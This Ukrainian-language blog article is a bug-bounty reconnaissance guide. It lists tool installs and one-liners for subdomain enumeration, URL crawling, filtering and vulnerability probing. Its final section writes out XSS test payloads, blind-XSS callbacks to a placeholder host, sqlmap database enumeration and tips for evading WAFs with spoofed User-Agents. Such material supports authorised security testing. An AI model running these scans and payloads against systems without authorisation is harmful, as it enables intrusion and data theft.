Автоматизований пошук вразливих URL-адрес

Автоматизація пошуку вразливих URL

Пошук вразливих URL є ключовим етапом у процесі Bug Bounty та загалом у веб-безпеці. Від правильного та системного збору URL залежить успішність подальшого аналізу на наявність XSS, SQLi, LFI, RCE та інших вразливостей. Ручне відстеження посилань на великих веб-сайтах є трудомістким і часто неефективним, тому на допомогу приходить автоматизація.

Існує цілий ряд утиліт — парсери, сканери, фузери, краулери, нормалізатори та валідатори, які дозволяють автоматизувати процес пошуку вразливих URL у Linux. Основою цього процесу є нетсталкінг — систематичний пошук та аналіз URL-адрес досліджуваних ресурсів. Багато з цих URL є динамічними і незахищеними, що робить їх потенційними точками для експлуатації різноманітних вразливостей.

Щоб знайти якомога більше таких URL, необхідно ретельно спарсити цільовий ресурс, використовуючи комбінацію інструментів для збору та перевірки посилань, що забезпечує максимальне покриття і підвищує ефективність дослідження.

Розгортання робочого середовища

Встановлюємо комплект необхідних додатків:

  • go install github.com/tomnomnom/waybackurls@latest
  • go install github.com/hahwul/dalfox/v2@latest
  • go install github.com/projectdiscovery/katana/cmd/katana@latest
  • go install github.com/hakluke/hakrawler@latest
  • go install github.com/jaeles-project/gospider@latest
  • go install github.com/projectdiscovery/httpx/cmd/httpx@latest
  • go install github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest
  • go install github.com/tomnomnom/anew@latest
  • go install github.com/XORbit01/webpalm/v2@latest
  • go install github.com/OJ/gobuster/v3@latest
  • go install github.com/ffuf/ffuf/v2@latest
  • CGO_ENABLED=0 go install -v github.com/owasp-amass/amass/v5/cmd/amass@main

Підказка: Щоби Linux побачила встановлені додатки, необхідно вказати шлях до системної директорії Go в файлі ~/.bashrc – export PATH=$PATH:$HOME/go/bin. Після чого виконати: source ~/.bashrc

  • pipx install uro
  • pipx install bbot
  • pip3 install dirhunt
  • pipx install dirsearch
  • pip install censys
  • pip install -U --user shodan
  • pip install knock-subdomains
  • pip3 install py-altdns==1.0.2
  • pip install waymore
  • pipx install arjun
  • yay -S feroxbuster-git

Встановлюємо утиліту gau:

go install github.com/lc/gau/v2/cmd/gau@latest
https://raw.githubusercontent.com/lc/gau/master/.gau.toml - додати конфіг в ~/.gau.toml

Встановлюємо утиліту gf:

go install github.com/tomnomnom/gf@latest
git clone https://github.com/1ndianl33t/Gf-Patterns
cd Gf-Patterns
mkdir -p ~/.gf
cp *.json ~/.gf/

Встановлюємо краулер Photon:

git clone https://github.com/s0md3v/Photon
cd Photon
pythom3 -m venv photon
source photon/bin/activate
pip3 install -r requirements.txt

Встановлюємо краулер XSStrike:

git clone https://github.com/s0md3v/XSStrike
cd XSStrike
pip install -r requirements.txt --break-system-packages

Встановлюємо фузер Pidrila:

git clone https://github.com/enemy-submarine/pidrila.git
pyenv shell 3.11.9
pip3 install -r requirements.txt
mkdir -p ~/pidrila/logs

Встановлюємо CloackQuest3r:

git clone https://github.com/spyboy-productions/CloakQuest3r.git
cd CloakQuest3r
pip3 install -r requirements.txt

Встановлюємо Dnsenum:

git clone https://github.com/fwaeytens/dnsenum

Виконання процесу

Пошук доменів

  • shodan domain example.com – перевірка субдоменів в кіберпошуковій системі Shodan;
  • subfinder -d example.com -silent > subdomains.txt – пошук піддоменів зі збереженням у файл;
  • subfinder -dL domains.txt -all -recursive -o list_all.txt — пошук субдоменів із всіх можливих джерел для вказаного списку у файлі;
  • bbot -t example.com -f subdomain-enum — пошук субдоменів з допомогою утиліти BBOT;
  • amass enum -d example.com -o amass.txt— пошук субдоменів з допомогою утиліти OWASP Amass зі збереженням результатів в файл;
  • amass enum -active -d example.com -o active_scan.txt — пошук субдоменів з допомогою активного сканування;
  • amass enum -passive -d example.com -o passive_scan.txt — пошук субдоменів з допомогою пасивного сканування;
  • python3 cloakquest3r.py example.com — брутфорс субдоменів і визначення оригінальних IP-адрес з допомогою утиліти CloackQuest3r;
  • gobuster dns -d example.com -w ~/wordlists/subdomains.txt — енумерація субдоменів по словнику з допомогою утиліти gobuster;
  • perl dnsenum.pl example.com — перевірка DNS зони з тестуванням AXFR;
  • perl dnsenum.pl example.com -f subdomains.txt – перевірка DNS зони з тестуванням AXFR і брутфорсом субдоменів по словнику;
  • ffuf -w ~/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.example.com" -u [hostname] — брутфорс субдоменів по словнику з допомогою утиліти FFUF;
  • altdns -i input_subdomains.txt -o generated_subdomains.txt -w ~/subdomain_bruteforce.txt -r -s results_output.txt – команда генерує варіації піддоменів із заданого списку, перевіряє які з них реально існують (резолвляться) і зберігає в файл;
  • domain=example.com; curl -fsSL "https://crt.sh/?q=${domain}" | grep -oP '([a-zA-Z0-9.-]+\.'${domain//./\\.}')' | sort -u > subdomains_example.txt – збір субдоменів через онлайн-сервіс перевірки SSL crt.sh;
  • curl -s "https://crt.sh/?q=%25.example.com&output=json" | jq -r '.[].name_value' | sed 's/\*\.//g' | sort -u > crtsh.txt – ще одна команда автоматичного парсингу субдоменів з crt.sh;
  • Subdomain Finder C99 – онлайн-сервіс для виявлення субдоменів;
  • Security Trails – онлайн-платформа для мережевої розвідки доменів.
ЧИТАЙТЕ ТАКОЖ:  Пошук вразливостей камер відеоспостереження з допомогою Ingram

Пошук URL

  • echo domain.com | gau | tee gau_output.txt – збираємо URL по вказаному домену з Вебархіву (Common Crawl) й зберігаємо у файл;
  • echo domain.com | waybackurls | tee gau_output.txt – аналогічна утиліта, збирає URL по вказаному домену з Вебархіву й зберігає у файл (може знайти більше);
  • katana -u example.com – збір URL з допогою краулера Katana;
  • katana -u example.com -d 5 -ps -pss waybackarchive,commoncrawl,alienvault | tee ktna_urls.txt – розширений пошук URL по різним джерелам;
  • waymore -i example.com -mode U -oU waymore_domain.com.txt – пошук урлів по заданому домену з різних джерел: Webarchive, Common Crawl, AlienVault, Urlscan (велике охоплення);
  • echo https://example.com | hakrawler – ще один краулер для збору URL;
  • gospider -s https://example.com -d 3 -o output_folder – обхід сайту краулером Gospider;
  • gospider -q -s "https://example.com" -c 10 -d 5 | tee gospider_urls.txt – обхід сайту Gospider з вказаною одночасною кількістю запитів та глибиною зі збереженням результатів у файл;
  • gospider -s "https://example.com" -c 10 -d 5 --blacklist ".(jpg|jpeg|gif|css|tif|tiff|png|ttf|woff|woff2|ico|pdf|svg|txt)" --other-source | tee gospider_urls.txt – аналогічна команда, але з фільтрацією певних результів;
  • python3 photon.py -u "example.com" – парсинг заданого сайту з допомогою краулера Photon, який також відбирає fuzzable urls;
  • python3 pidrila.py -u example.com – пошук цікавих url для заданого домену з допомогою Pidrila;
  • python3 xsstrike.py -u "https://example.com" --crawl — пошук вразливостей і краулінг веб-сайту з допомогою XSStrike;
  • webpalm -u example.com -l1 -x 404,401,403 – парсинг структури сайту з допомогою сканера Webpalm;
  • wget -qO- example.com | tr \" \\n | grep https\*:// – елементарний парсинг URL із заданого сайту;
  • dirhunt https://example.com – пошук цікавих, прихованих URL-адрес з допомогою фаззера dirhunt;
  • gobuster dir -u example.com -w /usr/share/dirbuster/wordlists/vulners.txt -e -s 200, 301, 302 – перебір URL-адрес по словнику з допомогою сканера Gobuster;
  • gobuster dir -u https://example.com -w absolute-fuzz-list.txt -H "User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" – шукає директорії та файли за словником, встановлює кастомний User-Agent, щоб уникнути блокування або обійти WAF;
  • dirsearch -e php -u example.com --exclude-status 403,401 – сканування директорій утилітою gobuster з показом результатів, що відповідають зазначеним статусам сервера;
  • dirsearch -u https://example.com -x 403,404,500,400,502,503,429 --random-agent – шукає директорії та файли на вказаному сайті, ігноруючи зазначені коди відповіді сервера та підставляючи рандомний User-Agent;
  • dirsearch -u example.com -e php,asp,aspx,jsp,py,txt,conf,config,bak,backup,swp,old,db,sqlasp,aspx,aspx~,asp~,py,py~,rb,rb~,php,php~,bak,bkp,cache,cgi,conf,csv,html,inc,jar,js,json,jsp,jsp~,lock,log,rar,old,sql,sql.gz,sql.zip,sql.tar.gz,sql~,swp,swp~,tar,tar.bz2,tar.gz,txt,wadl,zip -i 200 --full-url – комплексне сканування хостів зі списку на наявність вказаних розширень;
  • dirsearch -u https://example.com -e xml,json,sql,db,log,yml,yaml,bak,txt,tar.gz,zip -x 403,404,500,400,502,503,429 --random-agent – шукає специфічні файли із зазначеними розширеннями;
  • ffuf -u example.com/FUZZ -w ~/seclists/Discovery/Web-Content/raft-medium-words-lowercase.txt -e .php,.html,.txt -mc 200 — пошук файлів утилітою ffuf по словнику з вказаними розширеннями та кодом відповіді сервера 200;
  • ffuf -w /path/to/wordlist.txt -u https://example.com/FUZZ -e .log,.json,.php,.xml,.md,.zip -mc 200 — пошук в структурі сайту файлів заданого формату;
  • python3 linkfinder.py -i https://example.com/main.js -o cli – пошук цікавих ендпойнтів (api-ключі, токени, секрети) та урлів в JavaScript-файлах з допомогою утиліти LinkFinder.
ЧИТАЙТЕ ТАКОЖ:  Встановлення і налаштування theHarvester в Linux

Очистка, аналіз, валідація зібраних доменів та URL

  • sort -u urls.txt -o urls_clean.txt – видалення дублікатів URL зі збереження списку у файл;
  • cat urls.txt | uro | sort -u > urls_clean.txt – видаляє дублікати URL та нормалізує їх (рекомендовано);
  • cat * | gf urls | tee gf_urls.txt — зчитує вміст усіх файлів у поточному каталозі, шукає в них URL-адреси і зберігає в результуючий файл;
  • cat xss_output.txt | grep -oP '^URL: \K\S+' | sed 's/=.*/=/' | sort -u > final.txt – ще одна команда очищення урлів;
  • cat * | sort -u | tee subdomains.txt — збирає вміст усіх файлів у поточному каталозі, сортує їх в алфавітному порядку і видаляє дублікати, зберігаючи в файл;
  • cat subs_domain.com.txt | httpx -td -title -sc -ip > httpx_domain.com.txt – структурує дані по доменам;
  • cat httpx_domain.com.txt | awk '{print $1}' > live_subs_domain.com.txt – формує список “живих” доменів;
  • cat new_cleaned.txt | httpx -timeout 10 -silent -mc 200,403,500,503 -o alive_urls.txt – фільтрація “битих” URL;
  • httpx -l list_inout.txt -sc -title -server -td -o list_output.txt – збір метаінформації по урлам (статус, заголовок, хостнейм, технології);
  • python Python/EyeWitness.py -f urls.txt – зняття скріншотів по списку URL з допомогою утиліти EyeWitness;
  • cat domains.txt | while read domain; do host $domain | grep "has address" | awk '{print $1, $4}'; done > ips_domains.txt — отримати список IP-адрес для списку доменів зі збереженням у файл;
  • cat subs_domain.com.txt | httpx -silent -ports 80,443,3000,8080,8000,8081,8008,8888,8443,9000,9001,9090 | tee -a alive_subs_port.txt – перевірка доступності доменів на відповідних портах;
  • cat all_domains.txt | httpx -ports 80,443,8009,8080,8081,8083,8090,8180,8443,2082,2083,2086,2087,7080 -sc -cl -title -t 100 -fr -nc | tee subdomains_list.txt — зчитує список доменів або субдоменів із файлу, перевіряє їх доступність на зазначених портах, отримує код статусу, розмір контенту та заголовок сторінки, й зберігає всі результати у файл результату;
  • cat waymore_domain.com.txt | grep "=" | grep "&" | grep "?" – вибирає з URL-ів тільки ті, що мають GET-параметри (типу ?id=1&user=admin), корисно для пошуку точок ін’єкцій;
  • cat httpx_domain.com.txt | grep 403 – витягує з результатів httpx тільки ті домени, що повертають 403 Forbidden (можливо приховані/заборонені директорії чи API).

Перевірка вразливостей

  • python3 parampp.py -u "https://example.com/login" — пошук вразливих параметрів для вказаної URL-адреси з допомогою утиліти ParamPamPam;
  • python3 xsstrike.py -u "https://example.com/?p=" --fuzzer — фаазінг (перебір) різноманітних потенційно небезпечних параметрів за вказаним URL;
  • python3 xsstrike.py -u "https://example.com/webmail/?color=" --params — парсинг потенційно небезпечних параметрів;
  • python3 pwnxss.py -u http://vuln.example.com — пошук вразливих параметрів для вказаної URL-адреси з допомогою утиліти PwnXSS;
  • arjun -u https://api.example.com/endpoint — виявлення прихованих вразливих URL-параметрів з допомогою утиліти Arjun;
  • cat allurls.txt | gf xss | tee gf_xss.txt — виконує пошук можливих місць для XSS-уразливостей у списку URL-адрес з допомогою утиліти GF;
  • cat allurls.txt | gf sqli | tee gf_sqli.txt — виконує пошук можливих місць для SQLi-уразливостей у списку URL-адрес;
  • cat allurls.txt | gf lfi | tee gf_lfi.txt — виконує пошук можливих місць для LFI-уразливостей у списку URL-адрес;
  • cat allurls.txt | gf rce | tee gf_rce.txt — виконує пошук можливих місць для RCE-уразливостей у списку URL-адрес;
  • cat allurls.txt | gf ssrf | tee gf_ssrf.txt — виконує пошук можливих місць для SSRF-уразливостей у списку URL-адрес;
  • cat allurls.txt | gf idor | tee gf_idor.txt — виконує пошук можливих місць для SSRF-уразливостей у списку URL-адрес;
  • cat allurls.txt | gf interestingparams | tee gf_params.txt — виконує пошук різноманітних потенційно вразливих параметрів у списку URL-адрес;
  • cat allurls.txt | grep "?" | grep "=" | qsreplace | tee xss_urls2.txt — виконує пошук URL-адрес з параметрами “=” з допомогою утиліти qsreplace;
  • cat urls.txt | gf xss | sed 's/=.*/=/' | sed 's/URL: //' | tee cleanurls.txt — пошук url-адрес з параметрами;
  • cat wbk_urls.txt | uro --filter hasparams | tee uro_urls1.txt — пошук url-адрес з параметрами зі списку і збереження їх у файл з допомогою утиліти uro;
  • cat wbk_urls.txt | uro --filter hasext | tee uro_urls2.txt — пошук url-адрес з різними розширеннями (напр., php, html, js та ін.);
  • cat wbk_urls.txt | uro --filter vuln | tee uro_urls3.txt — пошук вразливих url-адрес;
  • cat
    urls1_xss.txt urls2_xss.txt | qsreplace
    '"><script>alert('1447')></script>' | airixss
    'alert(1447)' | grep -v "Not"
    — виконує тестування URL-адрес на вразливість до XSS-ін’єкцій з допомогою утиліти Airixss;
  • dalfox file urls.txt — перевірка параметрів вразливих до XSS-ін’єкцій для списку URL з допомогою утиліти dalfox;
  • dalfox file urls.txt -b xss.example.com — перевірка параметрів вразливих до Blind XSS-ін’єкцій для списку URL з допомогою утиліти dalfox та XSS Hunter;
  • dalfox
    file hosts --mining-dom --deep-domxss --ignore-return -b
    'xss.example.com' --follow-redirects --proxy http://127.0.0.1:8080
    — пошук XSS-вразливостей утилітою Dalfox з допомогою XSSHunter і проксі Burpsuite;
  • cat ktna_urls.txt | parth --pipe xss — пошук потенційних XSS-вразливостей по списку url-адрес з допомогою утиліти parth. Доступні також опції: lfi, ssrf, sqli, xss, open_redirect, rce;
  • paramspider -d example.com — пошук URL-адрес з параметрами з допомогою утиліти paramspider;
  • php
    inurlbr.php -s xss.txt --dork "inurl:search.php?q= site:example.com" -q
    1,6 --exploit-get "<script>alert(1)</script>"
    — пошук і експлуатація вразливих до XSS URL-адрес за вказаним дорком з допомогою утиліти inurlbr;
  • echo
    http://vuln.example.com | waybackurls | gf xss | uro | httpx -silent |
    qsreplace '"><svg onload=confirm(1)>' | airixss -payload
    "confirm(1)"
    — пошук і експлуатація вразливих до XSS URL-адрес за вказаним дорком з допомогою різних утиліт;
  • python3 payloader.py — експлуатація вразливих до XSS URL-адрес з допомогою утиліти xss loader;
  • sqlmap -u 'https://vuln.example.com/index.php?id=' --dbs — аналіз URL-адреси на SQLi вразливості з допомогою утиліти sqlmap;
  • cat urls.txt | nuclei -t ~/nuclei-templates/cves/ -o nuclei_output.txt – перевірка вразливості з допомогою шаблонів nuclei;
  • nuclei -l live_subs_domain.com.txt -rl 10 -bs 2 -c 2 -as -silent -s critical,high,medium – сканує список доменів на вразливості по базі nuclei;
  • nuclei -l waymore_domain.com.txt -rl 20 -bs 2 -c 2 -silent -s critical,high,medium -dast – сканує знайдені урли на вразливості (DAST-тести), з рівнем critical/high/medium, у тихому режимі.
ЧИТАЙТЕ ТАКОЖ:  Caido - новітній "Burp Suite" з мозгами

Додаткові джерела

  1. GitHub. Red Team Tools.
  2. GitHub. Awesome Red Team.
  3. GitHub. Awesome Red Team Operations.
  4. GitHub. Conti Pentester Leak.
  5. Medium. Best Recon Methodology.
  6. Medium. Guide to httpx
  7. Medium. Bug Hunting Methodology: A Comprehensive Guide
  8. Medium. One-liner commands for bug bounty
  9. Medium. Coffinxp.
  10. Out3r Space Blog
  11. Github. Interlace (threaded commands)
  12. От нуля до героя: Охота на высокооплачиваемые уязвимости Open Redirect в веб-приложениях
  13. Продвинутый поиск секретов: как находить утекшие учетные данные в нестандартных местах
  14. Advanced Bug Hunting Toolkit
  15. GitHub. Cyberw1ng. BugBounty Writeups

Автор: © Konrad Ravenstone, KR. Laboratories Research

Konrad Ravenstone// про автора

Кібермольфар, хакер, лінуксоїд, дослідник безпеки в KR. Labs Research

Сподобалася стаття? Поділитися в соцмережах:
KR. Labs Research
Рекомендоване:
OSINT-інструменти для пошуку та аналізу даних за email дозволяють отримати…